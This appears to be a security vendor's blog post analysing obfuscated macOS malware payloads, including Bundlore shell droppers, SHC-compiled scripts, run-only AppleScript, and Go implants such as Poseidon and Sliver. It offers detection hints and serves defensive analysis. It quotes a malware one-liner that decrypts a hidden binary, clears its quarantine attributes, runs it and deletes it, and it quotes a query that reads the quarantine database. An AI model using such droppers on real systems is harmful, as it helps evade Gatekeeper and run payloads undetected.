In our recent post, 7 Ways Threat Actors Deliver macOS Malware in the Enterprise, we discussed some of the popular mechanisms currently in use by threat actors to achieve initial compromise on a macOS system. In this post, we continue our exploration of modern macOS malware by looking at different kinds of payloads that are either common or are emerging, with an emphasis on those that attempt obfuscation and evasion.
We take a look at scripts, the SHC shell script compiler, obfuscated Python, Go implants as well as some rare sightings of obfuscated Cobalt Strike beacons seen in some recent macOS-targeted campaigns.
A method first popularized by Shlayer malware, commodity adware and PUP platforms continue to leverage shell scripts delivered in disk images, often through content lures.
Some malware families use the script as an executable in an app bundle, such as this one.
/Volumes/Player/Player_253.app/Contents /MacOS/MUwj3QKorpMfT39foaHiE5Cf6oBSVw
Others drop the script directly into a disk image file and encourage the user to execute it through an alias. The sample 2070b149b7d99cd4b396a8b78de5a28c1f2b505a provides a representative example.
On mounting the disk image, the user is presented with a two-step graphical instruction on how to open the malware and bypass the built-in macOS Gatekeeper restriction.
Examining the disk image in the Finder with hidden files displayed, it’s clear that the Install PKG icon the user is urged to right-click on is an alias to a shell script file located in a hidden directory called, appropriately enough, .hidden
.
The script is lightly obfuscated. After creating a directory inside /tmp
with a random 12-character name, it ultimately decrypts, runs and deletes an executable extracted from the data file located in the same directory.
/bin/bash -c eval '$(echo 'openssl enc -aes-256-cbc -d -A -base64 -k \'$archive\' -in \'$appDir/$archive\' -out \'$tmpDir/$binFile\' xattr -c \'$tmpDir/\'* chmod 777 \'$tmpDir/$binFile\' \'$tmpDir/$binFile\' && rm -rf $tmpDir')'
The malware queries a number of system and environment variables to ascertain if it is running in a virtual machine. It also reads the local LSQuarantine file to check the source of the downloaded disk image, searching for URLs containing %s3.amazonaws.com%
, suggesting that this version of Bundlore is using AWS to deliver the first stage disk images.
sh -c sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'select LSQuarantineDataURLString from LSQuarantineEvent where LSQuarantineDataURLString like '%s3.amazonaws.com%' order by LSQuarantineTimeStamp desc limit 5'
This information is next posted to a C2 and a further payload is returned, mounted and launched.
SentinelOne detects such script-based malware, with this particular payload identified as Bundlore.E
, a well-known commodity adware and PUP delivery platform.
Shell Script Compiler is a Github repo known as SHC for short, which takes a script and produces obfuscated C source code. The source code is then compiled and linked to produce a stripped binary executable. Although these binaries aren’t entirely independent – they still require the execution environment to have available the shell specified in the shebang – if the script uses a shell that is found by default on the target OS (e.g., /bin/sh/
on macOS), execution should not be an issue.
SHC comes with some compilation options that are useful to malware authors. The -U option attempts to make the binary untraceable with ptrace. The -e
option allows the author to set an expiry date after which the program won’t run. One useful side-effect of this is that the same script will produce binaries with different hashes if compiled with different values for -e.
SHC was heavily used by XCSSET malware and has been seen more recently obfuscating Linux payloads. It’s great advantage from an attacker’s point of view is it makes it extremely simple to write malicious scripts which cannot be read via static analysis and which, thanks to the -e
option, can have endlessly different hash values. The only way to discover what an SHC-compiled binary does is to detonate it in a sandbox and observe its behavior.
SHC compiled binaries can be detected statically and marked as suspicious, as the compiler produces a distinctive string signature. However, only behavioral solutions will be able to distinguish between benign code and those with malicious intent.
Apple removed support for Python 2.7 on macOS devices running Monterey 12.3 and later in 2022, and as a result the language has become a less attractive option for attackers than it once was.
However, there are still plenty of enterprise environments where some local version of Python will be installed as it remains hugely popular with developers of all stripes, and there is a ‘back catalog’ of Python-based attack frameworks such as Meterpreter and Empyre that are still favored by both attackers and red teams.
Packaging Python scripts into .pyc
compiled Mach-Os is also still a viable attack option, but more commonly frameworks like Meterpreter will be base64 encoded multiple times to obfuscate their true payload. Many of these remain undetected by static engines but are recognized by behavioral solutions like SentinelOne on execution.
Widely-seen in malware targeting the Windows world, Cobalt Strike is less common in Mac malware campaigns, but not unheard of. SentinelLabs observed two ostensibly unrelated campaigns dropping Cobalt Strike beacons in obfuscated Go binaries.
The OSX.Zuru campaign in September 2021 involved a supply-chain style attack that used trojanized versions of popular enterprise apps including iTerm2, MS Remote Desktop for Mac, SecureCRT and Navicat 14. These trojans were seen delivering a heavily obfuscated Mach-O to the victim device at /private/tmp/GoogleUpdate
.
The file is packed with UPX and unpacks into a 5 MB Mach-O written in C. This executable is heavily obfuscated and contains over 40,000 functions of almost entirely junk code. The same obfuscation technique was later seen in the pymafka attack on PyPI, which dropped a ~3 MB Mach-O executable at /private/var/tmp/zad
.
The obfuscation technique is recognizable from the entropy and md5 hashes of the binary sections. In particular, the __cstring
section will have the md5 value of c5a055de400ba07ce806eabb456adf0a
.
Section entropy can also be used to recognize these binaries statically.
AppleScript has a long and somewhat underrated history of malicious use on OSX and macOS systems, in part because of its longevity (it’s been around longer than Python) and in part because until recent years Apple paid little attention to its security implications. It remains an incredibly powerful tool for both legitimate and malicious purposes, despite Apple’s attempts to rein it in with use of TCC and other restrictions.
Until very recently, one of AppleScript’s best kept secrets was its ability to produce almost irreversible compiled code by means of the ‘run-only’ option. Run-only AppleScripts and a method to reverse them were discussed in detail in the SentinelLabs post here, but among the techniques discovered in the wild was a particularly clever one of embedding one run-only script inside another using four-byte hex character encoding.
Such scripts cannot be decompiled with the built-in tool osadecompile
and require either dynamic analysis in a sandbox or significant reverse engineering effort. Static detection can be used to detect the presence of embedded hex characters and the unique AppleScript magic FADE DEAD that marks the end of an AppleScript block.
In part due to Apple’s removal of a default Python script interpreter, many malware authors have been turning to Google’s Golang. Mach-O binaries written in Go have the advantage of containing the Go runtime environment within the executable, a feature that makes execution guaranteed but produces an unusually large file size. This file size can work both for and against threat actors: on the one hand, large binaries are easy to spot, both to solutions and to users. On the other hand, their large size can present difficulties to some security solutions and sandboxes, which may limit the maximum size they ingest for performance reasons.
Go binaries also present challenges to analysts and reverse engineers, who must develop new tools and methods for separating out the malicious code from the masses of Go imports, runtime functions and third-party packages. They also need to develop an effective way of dealing with strings, as strings in Go binaries are not delimited by a terminating null character.
The final two examples of payloads we will look at are both Go-based and serve as good examples of why this language has become popular among malware authors.
Poseidon is a Golang agent for the red-teaming framework Mythic that ‘beacons’ back to an operator and allows various functionality on the infected machine.
The image above depicts the source code on the left and disassembly on the right for various goroutines that allow the operator to perform different tasks. Goroutines provide performative concurrent execution and, in Poseidon, are used for things like sending and receiving files between the victim’s device and the operator.
Poseidon also allows the attacker to log keystrokes, take screen captures, install persistence and other backdoor functionality. A recent high-profile use of Poseidon in the wild was the CrateDepression supply chain attack against the Rust development community.
Detecting Poseidon payloads is reasonably straightforward once they are unpacked as the strings in compiled Poseidon binaries have a distinctive signature. The source code is also available online.
Another open-source attack framework that has been gaining increasing use in in-the-wild campaigns, Sliver is a C2 system that can manage multiple implants through a central server by one or more operators. It offers attackers callback protocols over DNS, HTTPS, Mutual TLS and Wireguard to help evade domain detection and blocking.
A Sliver binary will weigh in at around 10 MB or more, making it important that security teams have solutions that can handle large executables. The Sliver project does not itself support further obfuscation or packing, but in the wild samples may be found with off-the-shelf or custom UPX packing.
Sliver has been seen in recent macOS malware that masquerades as an Apple softwareupdate binary and installs persistence in the user’s Library LaunchAgents folder. That campaign was interesting in its avoidance of any Apple proprietary software (such as Xcode) and its employment of free and readily available tools including UPX, MacDriver and Platypus.
Somewhat like Poseidon, Sliver is fairly straightforward to detect with a simple file signature so long as the binary size does not present a problem as there are many characteristic strings in the __DATA
section. The source code is available here.
The payload types and obfuscation mechanisms we’ve discussed above are by no means the only ones we see on macOS – adware like Pirrit and Adload, which we have discussed elsewhere, continue to evolve their techniques in this regard, and to leverage cross-platform languages like Go and Kotlin. Malware like SilverSparrow and others have found interesting ways to disguise and deliver payloads inside package installers.
Threat actors of all stripes have and still do rely on curl to deliver second and third-stage payloads. However, as Apple continues its own attempts to block downloads that bypass its Gatekeeper security settings, we expect to see more malware embed later-stage payloads in the initial infection and to evolve their obfuscation and evasion efforts to make these successful.
We hope this brief overview of some of the techniques we observe in current malware families may help defenders to better protect their organizations and their users.
If you would like to learn more about how SentinelOne Singularity and its native architecture agent can protect your macOS fleet, contact us or request a free demo.